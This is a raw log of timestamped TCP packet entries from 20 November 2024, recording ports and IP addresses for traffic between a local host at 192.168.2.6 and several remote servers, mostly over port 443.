Nov 20, 2024 14:43:18.211117983 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.211277008 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.211287022 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.211747885 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.211762905 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.485985041 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.486022949 CET	443	49730	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:18.486092091 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.486612082 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.486654997 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:18.486768961 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.487076998 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.487116098 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:18.487170935 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.499763012 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.499773026 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:18.500256062 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.500271082 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:18.500551939 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.500565052 CET	443	49730	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:18.536835909 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.536895990 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:18.537009001 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.540152073 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:18.540173054 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:19.997185946 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:19.998724937 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:19.998744011 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:19.999676943 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:19.999681950 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.000864983 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.001604080 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.001617908 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.002480030 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.002485037 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.004204988 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.004744053 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.004764080 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.005672932 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.005678892 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.010087967 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.013911963 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.013945103 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.014390945 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.014398098 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.060513020 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.061045885 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.061074972 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.061489105 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.061494112 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.204756975 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.205214024 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.205246925 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.206327915 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.206398964 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.207895994 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.208048105 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.208204031 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.208213091 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.219079018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:20.219177008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:20.259555101 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.287941933 CET	443	49730	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.288286924 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.288305998 CET	443	49730	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.289222956 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.289395094 CET	443	49730	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.289465904 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.289849997 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.289864063 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.290153980 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.290230989 CET	443	49730	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.290409088 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.290416956 CET	443	49730	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.290891886 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.290952921 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.291332006 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.291388035 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.291449070 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.326270103 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.326636076 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.326648951 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.327714920 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.328080893 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.329798937 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.329860926 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.330028057 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.330038071 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.337690115 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.337702036 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.380336046 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.380434990 CET	443	49730	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:20.380500078 CET	49730	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.385696888 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.416683912 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:20.442822933 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.442888021 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.443039894 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.443341970 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.443360090 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.443371058 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.443377018 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.444262028 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.444327116 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.444391966 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.444586992 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.444603920 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.444617033 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.444623947 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.446788073 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.446930885 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.446991920 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.447695017 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.447702885 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.447737932 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.447741985 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.449448109 CET	49736	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.449481964 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.449664116 CET	49736	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.451682091 CET	49737	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.451714039 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.451889992 CET	49737	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.452617884 CET	49736	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.452630043 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.452879906 CET	49737	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.452894926 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.454267979 CET	49738	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.454281092 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.454360008 CET	49738	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.454510927 CET	49738	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.454520941 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.473850012 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.473911047 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.474015951 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.474092960 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.474104881 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.474113941 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.474119902 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.476847887 CET	49739	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.476871967 CET	443	49739	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.477133036 CET	49739	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.477240086 CET	49739	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.477255106 CET	443	49739	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.513366938 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.513442993 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.513576984 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.513761997 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.513803959 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.517379999 CET	49740	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.517419100 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:20.517796993 CET	49740	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.518328905 CET	49740	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:20.518342018 CET	443	49740	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:21.039792061 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.042906046 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.042973995 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.046725035 CET	49732	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.046746969 CET	443	49732	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.157630920 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.157691002 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.157730103 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.157763958 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.157799959 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.157800913 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.157821894 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.166012049 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.166079044 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.166089058 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.176913977 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.177011967 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.177023888 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.189436913 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.189583063 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.189681053 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.190498114 CET	49733	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.190516949 CET	443	49733	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.190566063 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.190614939 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.190628052 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.190640926 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.190692902 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.345957994 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.367827892 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.367897987 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.367919922 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.377641916 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.377696991 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.377779961 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.377799988 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.378490925 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.385297060 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.391722918 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.391793966 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.391812086 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.403595924 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.403825045 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.403846979 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.412293911 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.412404060 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.412420988 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.424223900 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.424356937 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.424372911 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.441586971 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.441663027 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.441684008 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.466702938 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.466758013 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.466759920 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.466773987 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.466890097 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.469269991 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.491679907 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.491816044 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.491839886 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.541234016 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.556407928 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.559376955 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.559458017 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.559483051 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.576499939 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:21.576555967 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:21.576709032 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:21.578816891 CET	49742	443	192.168.2.6	20.109.210.53
Nov 20, 2024 14:43:21.578834057 CET	443	49742	20.109.210.53	192.168.2.6
Nov 20, 2024 14:43:21.578913927 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.578968048 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.579058886 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.579076052 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.579125881 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.583348989 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.589829922 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.589911938 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.589945078 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.589961052 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.590051889 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.595467091 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.599116087 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.599189997 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.599200964 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.602122068 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.602212906 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.602226973 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.605029106 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.605089903 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.605108976 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.610240936 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.610336065 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.610368013 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.610379934 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.610547066 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.616630077 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.627626896 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.627751112 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.627764940 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.637088060 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.637154102 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.637167931 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.646745920 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.646775961 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.646835089 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.646850109 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.647073984 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.656207085 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.678417921 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.678508997 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.678524017 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.680350065 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.680397987 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.680402040 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.680419922 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.680488110 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.684740067 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.693185091 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.693232059 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.693259954 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.693285942 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.693504095 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.700788975 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.702163935 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.702239037 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.702255964 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.712928057 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.713033915 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.713052034 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.725950003 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.726033926 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.726051092 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.729351044 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.729464054 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.729479074 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.768054008 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.768131018 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.768146038 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.768168926 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.768245935 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.770963907 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.790060043 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.790155888 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.790172100 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.790680885 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.790905952 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.790915012 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.796402931 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.796464920 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.796479940 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.796494007 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.796533108 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.799225092 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.802490950 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.802553892 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.802558899 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.802576065 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.802675962 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.804645061 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.806616068 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.806782007 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.806796074 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.806821108 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:21.806871891 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.807280064 CET	49731	443	192.168.2.6	172.217.21.36
Nov 20, 2024 14:43:21.807300091 CET	443	49731	172.217.21.36	192.168.2.6
Nov 20, 2024 14:43:22.190391064 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.190957069 CET	49738	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.190994024 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.191493988 CET	49738	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.191504002 CET	443	49738	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.193176985 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.193591118 CET	49736	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.193609953 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.194046021 CET	49736	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.194051981 CET	443	49736	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.255477905 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.256084919 CET	49737	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.256098986 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.256804943 CET	49737	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.256810904 CET	443	49737	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.265182018 CET	443	49739	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:22.265750885 CET	49739	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:22.265764952 CET	443	49739	13.107.246.63	192.168.2.6
